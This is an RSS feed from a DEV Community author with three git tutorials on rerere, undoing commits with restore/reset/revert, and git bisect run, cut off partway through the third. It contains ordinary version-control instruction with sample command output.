<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: James Joyner</title>
    <description>The latest articles on DEV Community by James Joyner (@jjoyneriv).</description>
    <link>https://dev.to/jjoyneriv</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3973259%2F0becdb8e-e292-4cd3-b2dd-c55ab65df4c1.jpg</url>
      <title>DEV Community: James Joyner</title>
      <link>https://dev.to/jjoyneriv</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jjoyneriv"/>
    <language>en</language>
    <item>
      <title>Git Remembers How You Resolved That Conflict — If You Let It</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Sun, 20 Sep 2026 01:03:01 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/git-remembers-how-you-resolved-that-conflict-if-you-let-it-418g</link>
      <guid>https://dev.to/jjoyneriv/git-remembers-how-you-resolved-that-conflict-if-you-let-it-418g</guid>
      <description>&lt;p&gt;You rebase a long branch onto &lt;code&gt;main&lt;/code&gt;. The first commit conflicts in &lt;code&gt;config.yml&lt;/code&gt;; you resolve it. The second commit touches the same lines and conflicts &lt;em&gt;in exactly the same way&lt;/em&gt;. So does the third. Each time you re-read both sides, re-make the same decision, and re-type the same lines.&lt;/p&gt;

&lt;p&gt;Git can remember the resolution. &lt;code&gt;git rerere&lt;/code&gt; — &lt;em&gt;reuse recorded resolution&lt;/em&gt; — is one config setting, and it comes with two rules that matter more than the setting. Everything below was run in a disposable repository on git 2.43.0; the output is real.&lt;/p&gt;

&lt;h2&gt;
  
  
  Enable it (in one repository, to start)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git config rerere.enabled &lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No &lt;code&gt;--global&lt;/code&gt; — try it here first. From now on, every conflict Git shows you is recorded as a &lt;em&gt;preimage&lt;/em&gt; (both sides, branch labels stripped), and the resolution you commit is recorded as the &lt;em&gt;postimage&lt;/em&gt;, under &lt;code&gt;.git/rr-cache/&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The first conflict, resolved by hand
&lt;/h2&gt;

&lt;p&gt;Two branches changed &lt;code&gt;timeout&lt;/code&gt; in opposite directions. Merge one into the other:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git merge main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Auto-merging config.yml
CONFLICT (content): Merge conflict in config.yml
Recorded preimage for 'config.yml'
Automatic merge failed; fix conflicts and then commit the result.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The third line is rerere already at work. Resolve — deliberately with a third value, so it is clearly a decision:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'timeout: 5000\nretries: 3\nbackoff: exponential\n'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; config.yml
git add config.yml
git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"Merge main into feature: settle on 5000"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Recorded resolution for 'config.yml'.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The same conflict, again
&lt;/h2&gt;

&lt;p&gt;Undo the merge (&lt;code&gt;git reset --hard ORIG_HEAD&lt;/code&gt;) and rebase instead — same two sides, same clash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git rebase main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CONFLICT (content): Merge conflict in config.yml
error: could not apply c1359f5... Fail fast: lower timeout
Resolved 'config.yml' using previous resolution.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Git still stops. But look at the file and the index:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;config.yml
git status &lt;span class="nt"&gt;--short&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;timeout: 5000
retries: 3
UU config.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The resolution is in the file; the file is still &lt;strong&gt;unmerged&lt;/strong&gt;. That is the first rule: by default rerere writes the resolution and &lt;em&gt;waits for you to inspect it&lt;/em&gt;. Look at the combined diff — the line marked &lt;code&gt;++&lt;/code&gt; is the resolution, and it is the one line you must judge:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git diff
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@@@ -1,2 -1,2 +1,2 @@@
- timeout: 10000
 -timeout: 500
++timeout: 5000
  retries: 3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Still right? Then &lt;code&gt;git add config.yml &amp;amp;&amp;amp; git rebase --continue&lt;/code&gt;. On a ten-commit branch where three commits hit the same hunk, that is three replays, each a &lt;code&gt;diff&lt;/code&gt; and an &lt;code&gt;add&lt;/code&gt; instead of a fresh decision.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;rerere.autoupdate&lt;/code&gt;: skip the &lt;code&gt;add&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;If you trust your recorded resolutions, &lt;code&gt;git config rerere.autoupdate true&lt;/code&gt; stages the replayed file too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Staged 'config.yml' using previous resolution.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rebase &lt;em&gt;still&lt;/em&gt; stops — rerere never continues an operation on its own — but &lt;code&gt;--continue&lt;/code&gt; now proceeds without a manual &lt;code&gt;add&lt;/code&gt;. Second rule: a replayed resolution going straight into the index is a trust decision. Leave autoupdate off until you have watched it replay in a repository you know.&lt;/p&gt;

&lt;h2&gt;
  
  
  When it is wrong
&lt;/h2&gt;

&lt;p&gt;The team decides 5000 was the wrong call. &lt;code&gt;git rerere forget config.yml&lt;/code&gt; drops the recorded resolution; then &lt;code&gt;git checkout --conflict=merge config.yml&lt;/code&gt; puts the markers back so you resolve afresh:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Recreated 1 merge conflict
&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; ours
timeout: 10000
=======
timeout: 500
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; theirs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the safety property: change &lt;em&gt;either&lt;/em&gt; side of the conflict and nothing is replayed. Add a commit on &lt;code&gt;main&lt;/code&gt; that also touches &lt;code&gt;retries&lt;/code&gt;, merge again, and you get a plain &lt;code&gt;CONFLICT&lt;/code&gt; with a new &lt;code&gt;Recorded preimage&lt;/code&gt; — rerere only speaks when the conflict is byte-for-byte the one it saw.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it cannot know
&lt;/h2&gt;

&lt;p&gt;It matches on the conflicted lines, not on the surrounding file, the tests, or the reason the code exists. The same conflict can deserve a different answer a week later. Read the &lt;code&gt;++&lt;/code&gt; line every time — and run the marker grep before every &lt;code&gt;--continue&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-nE&lt;/span&gt; &lt;span class="s1"&gt;'^(&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;|=======|&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;)'&lt;/span&gt; config.yml &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"MARKERS REMAIN"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"clean"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The full walkthrough — including the &lt;code&gt;git rerere diff&lt;/code&gt; view, &lt;code&gt;gc&lt;/code&gt; and expiry, why the cache is per-clone, and the mistakes people make with &lt;code&gt;clear&lt;/code&gt; versus &lt;code&gt;forget&lt;/code&gt; — is the article this is condensed from, with a fixture script that rebuilds the repository: &lt;a href="https://moderngitacademy.com/blog/git-rerere-repeated-merge-conflicts/" rel="noopener noreferrer"&gt;Git rerere: stop resolving the same merge conflict twice&lt;/a&gt;. rerere only pays off once resolving a conflict by hand is routine; that is a 20-minute session with a browser simulator: &lt;a href="https://moderngitacademy.com/sessions/resolve-and-verify-a-merge-conflict/" rel="noopener noreferrer"&gt;Resolve and verify a merge conflict&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>git</category>
      <category>tutorial</category>
      <category>devops</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Undo a Git Commit: Two Questions Before You Type Anything</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Sun, 20 Sep 2026 01:02:58 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/undo-a-git-commit-two-questions-before-you-type-anything-21o</link>
      <guid>https://dev.to/jjoyneriv/undo-a-git-commit-two-questions-before-you-type-anything-21o</guid>
      <description>&lt;p&gt;"How do I undo a commit?" has four correct answers and three wrong ones, and the difference is not the command — it is two questions you ask before typing anything:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Where is the change?&lt;/strong&gt; Working tree, staged, committed, or committed &lt;em&gt;and pushed&lt;/em&gt;?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Has anyone else got it?&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Answer those and the command picks itself. Below is each situation, run in a disposable repository (git 2.43.0) with real output, followed by the one command that will hurt you and how to tell.&lt;/p&gt;

&lt;p&gt;The repository has three commits touching one file: &lt;code&gt;Initial config&lt;/code&gt;, &lt;code&gt;Add line3&lt;/code&gt;, &lt;code&gt;Add line4&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  A. You edited a file and want the edit gone
&lt;/h2&gt;

&lt;p&gt;Nothing staged, nothing committed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo &lt;/span&gt;oops &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; config.txt
git status &lt;span class="nt"&gt;--short&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; M config.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;M&lt;/code&gt; is in the &lt;strong&gt;second&lt;/strong&gt; column: the change lives only in the working tree. The tool for the working tree is &lt;code&gt;restore&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git restore config.txt
git status &lt;span class="nt"&gt;--short&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Empty output — clean. (&lt;code&gt;git checkout -- config.txt&lt;/code&gt; is the older spelling of the same thing.)&lt;/p&gt;

&lt;h2&gt;
  
  
  B. You staged something too early
&lt;/h2&gt;

&lt;p&gt;The edit should stay; it just should not be in the next commit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo &lt;/span&gt;staged &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; config.txt
git add config.txt
git status &lt;span class="nt"&gt;--short&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;M  config.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First column now: the change is in the index. Move it back without touching the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git restore &lt;span class="nt"&gt;--staged&lt;/span&gt; config.txt
git status &lt;span class="nt"&gt;--short&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; M config.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Second column again — the edit is still there, just unstaged. &lt;code&gt;git reset config.txt&lt;/code&gt; does the same. What you must &lt;em&gt;not&lt;/em&gt; do next is &lt;code&gt;git restore config.txt&lt;/code&gt; "to be safe": that is situation A's command and it discards the edit you just chose to keep.&lt;/p&gt;

&lt;h2&gt;
  
  
  C. You committed too early, and nobody has it
&lt;/h2&gt;

&lt;p&gt;The last commit should not exist, but its changes should stay staged so you can recommit properly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git reset &lt;span class="nt"&gt;--soft&lt;/span&gt; HEAD~1
git status &lt;span class="nt"&gt;--short&lt;/span&gt;
git log &lt;span class="nt"&gt;--oneline&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;M  config.txt
76ca1c4 Add line3
333e24f Initial config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The commit is gone from the branch; its content is sitting in the index, ready for a better commit message or a split. &lt;code&gt;--soft&lt;/code&gt; is the gentle one: it moves the branch pointer and nothing else. (Without a flag, &lt;code&gt;reset&lt;/code&gt; also unstages; with &lt;code&gt;--hard&lt;/code&gt; it also discards — see the last section.)&lt;/p&gt;

&lt;p&gt;If it was only the &lt;em&gt;message&lt;/em&gt; that was wrong, &lt;code&gt;git commit --amend -m "better message"&lt;/code&gt; rewrites the tip commit in place. Same rule applies: not if anyone else has it.&lt;/p&gt;

&lt;h2&gt;
  
  
  D. The commit is pushed and others have pulled it
&lt;/h2&gt;

&lt;p&gt;Now rewriting is off the table. Rewriting removes a commit that your colleagues' branches are built on; their next pull becomes a merge of history you deleted. The right tool adds a commit instead of removing one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git revert HEAD &lt;span class="nt"&gt;--no-edit&lt;/span&gt;
git log &lt;span class="nt"&gt;--oneline&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-2&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;config.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[main 6a6f2b6] Revert "Add line4"
 1 file changed, 1 deletion(-)
6a6f2b6 Revert "Add line4"
d906de1 Add line4
line1
line2
line3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both commits are in history: the original and its inverse. Anyone who pulls gets the undo as an ordinary new commit. That is the entire reason &lt;code&gt;revert&lt;/code&gt; exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  The decision, as a table
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Where is the change?&lt;/th&gt;
&lt;th&gt;Anyone else got it?&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Working tree only&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git restore &amp;lt;file&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Staged&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git restore --staged &amp;lt;file&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Committed, not pushed&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;git reset --soft HEAD~1&lt;/code&gt; (or &lt;code&gt;--amend&lt;/code&gt; for the message)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Committed and pushed&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git revert &amp;lt;commit&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Committed and pushed&lt;/td&gt;
&lt;td&gt;no, you are certain&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;git reset&lt;/code&gt; + &lt;code&gt;git push --force-with-lease&lt;/code&gt; — and be certain&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The one that destroys work
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo &lt;/span&gt;unsaved &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; config.txt
git status &lt;span class="nt"&gt;--short&lt;/span&gt;
git reset &lt;span class="nt"&gt;--hard&lt;/span&gt; HEAD
git status &lt;span class="nt"&gt;--short&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; M config.txt
HEAD is now at 778de83 Revert "Add line4" — rolled back for the release
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second &lt;code&gt;status&lt;/code&gt; prints nothing. The edit is gone, and — this is the part people get wrong — &lt;strong&gt;it is not in the reflog&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git reflog | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;778de83 HEAD@{0}: reset: moving to HEAD
778de83 HEAD@{1}: commit (amend): Revert "Add line4" — rolled back for the release
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reflog records where &lt;code&gt;HEAD&lt;/code&gt; pointed. Uncommitted edits never had a commit, so there is nothing to point at. &lt;code&gt;reset --hard&lt;/code&gt; discards &lt;em&gt;every&lt;/em&gt; uncommitted change in the repository, not just the one you were thinking about. When you want situation A, use situation A's command; keep &lt;code&gt;--hard&lt;/code&gt; for "I mean everything".&lt;/p&gt;

&lt;h2&gt;
  
  
  Practise it without risking anything
&lt;/h2&gt;

&lt;p&gt;The three situations above — plus the shared-commit one — are a lab you run in &lt;code&gt;/tmp&lt;/code&gt;, and the same lab now has a &lt;strong&gt;browser Practice Mode&lt;/strong&gt;: a small Git simulator that checks the &lt;em&gt;repository state&lt;/em&gt;, so &lt;code&gt;git reset config.txt&lt;/code&gt; and &lt;code&gt;git restore --staged config.txt&lt;/code&gt; both count, &lt;code&gt;reset --hard&lt;/code&gt; asks you to confirm what it would discard, and rewriting a shared commit is refused with the reason.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://moderngitacademy.com/labs/reset-revert-restore/" rel="noopener noreferrer"&gt;Lab: reset, revert and restore — choose the right one&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The decision table in full, including amend and interactive rebase for older commits and what each does to everyone else's clone: &lt;a href="https://moderngitacademy.com/workflows/rebasing/editing-commit-history/" rel="noopener noreferrer"&gt;Undo a Git commit: amend, reset, revert or rebase&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>git</category>
      <category>beginners</category>
      <category>tutorial</category>
      <category>programming</category>
    </item>
    <item>
      <title>Twelve Commits, One Regression, Four Test Runs: git bisect run</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Sun, 20 Sep 2026 01:02:55 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/twelve-commits-one-regression-four-test-runs-git-bisect-run-ahn</link>
      <guid>https://dev.to/jjoyneriv/twelve-commits-one-regression-four-test-runs-git-bisect-run-ahn</guid>
      <description>&lt;p&gt;The test fails on &lt;code&gt;main&lt;/code&gt;. It passed a week ago. Twelve commits landed in between, most of them documentation, and nobody remembers which one touched the code. You could read all twelve diffs. Or you could let Git binary-search them in four steps.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;git bisect&lt;/code&gt; is the tool. It is older than most of the people who avoid it, and it needs three things: a commit you know is bad, a commit you know is good, and a way to tell the two apart. Everything below was run in a disposable repository (git 2.43.0); the output is real.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup: a calculator that stopped handling negatives
&lt;/h2&gt;

&lt;p&gt;A shell script that sums its arguments, a test that checks &lt;code&gt;2 3 → 5&lt;/code&gt; and &lt;code&gt;10 -4 → 6&lt;/code&gt;, and twelve commits — ten of which only append to &lt;code&gt;NOTES.md&lt;/code&gt;. One "performance" commit changed a line in the script.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./test.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo &lt;/span&gt;PASS &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo &lt;/span&gt;FAIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FAIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log &lt;span class="nt"&gt;--oneline&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-3&lt;/span&gt;
git rev-list &lt;span class="nt"&gt;--count&lt;/span&gt; HEAD
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;13e3f4d Docs: note 10
de66fcd Docs: note 9
ee74893 Docs: note 8
12
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Manual bisect: the first step, by hand
&lt;/h2&gt;

&lt;p&gt;Tell Git the two ends. &lt;code&gt;HEAD&lt;/code&gt; is bad; the first commit is known good (the test was written with it):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git bisect start
git bisect bad
git bisect good c7c12bd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;status: waiting for both good and bad commits
status: waiting for good commit(s), bad commit known
Bisecting: 5 revisions left to test after this (roughly 3 steps)
[ab66c706055338cda0ca242c3deda07a5b8f5257] Docs: note 5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Git checked out the middle commit. Run the test there and report:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./test.sh &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo &lt;/span&gt;PASS &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo &lt;/span&gt;FAIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PASS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So &lt;code&gt;git bisect good&lt;/code&gt;, and Git halves the remaining range again. "Roughly 3 steps" is log₂ of twelve — the same three or four steps whether the culprit is the second commit or the eleventh. At each stop you run the test and say &lt;code&gt;good&lt;/code&gt; or &lt;code&gt;bad&lt;/code&gt;; &lt;code&gt;git bisect reset&lt;/code&gt; returns you to where you started.&lt;/p&gt;

&lt;h2&gt;
  
  
  Automated bisect: hand Git the test
&lt;/h2&gt;

&lt;p&gt;If the test is a command that exits 0 on pass and non-zero on fail — which &lt;code&gt;test.sh&lt;/code&gt; is — you do not need to be in the loop at all:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git bisect start HEAD c7c12bd
git bisect run ./test.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;running './test.sh'
Bisecting: 2 revisions left to test after this (roughly 2 steps)
running './test.sh'
Bisecting: 0 revisions left to test after this (roughly 1 step)
running './test.sh'
Bisecting: 0 revisions left to test after this (roughly 0 steps)
running './test.sh'
ee25549ef0e8991131dcb8fe06a5dfa8398eb3d9 is the first bad commit
commit ee25549ef0e8991131dcb8fe06a5dfa8398eb3d9
Author: Lab User &amp;lt;lab@example.com&amp;gt;

    Perf: simplify addition loop

 calc.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
bisect found first bad commit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Four test runs. Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git bisect reset
git show ee25549 &lt;span class="nt"&gt;--&lt;/span&gt; calc.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-total=0; for n in "$@"; do total=$((total + n)); done; echo "$total"
+total=0; for n in "$@"; do total=$((total + ${n#-})); done; echo "$total"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;${n#-}&lt;/code&gt; strips a leading minus sign. Someone "simplified" the loop and turned every negative into a positive. The commit message says "Perf"; the diff says otherwise. That is the whole value of bisect: it takes you to the diff instead of the story.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three things that make it work
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;A test that can run at any commit.&lt;/strong&gt; &lt;code&gt;bisect run&lt;/code&gt; checks out old commits, so the test must not depend on files that arrived later. Keep the test script &lt;em&gt;outside&lt;/em&gt; the range if it was added recently — put it in a temp directory and call it by absolute path — or accept that the range starts where the test does.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exit codes, not output.&lt;/strong&gt; &lt;code&gt;run&lt;/code&gt; reads the exit status: 0 means good, 1–127 means bad, except that &lt;strong&gt;125 means "cannot test this commit, skip it"&lt;/strong&gt; — use it for commits that do not build. Any other code aborts the bisect (the manual's words).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Honest endpoints.&lt;/strong&gt; If the "good" commit is not actually good, bisect converges on the wrong answer with the same confidence. Run the test at both ends first; it costs two runs and saves an afternoon.&lt;/p&gt;

&lt;h2&gt;
  
  
  Beyond the toy
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
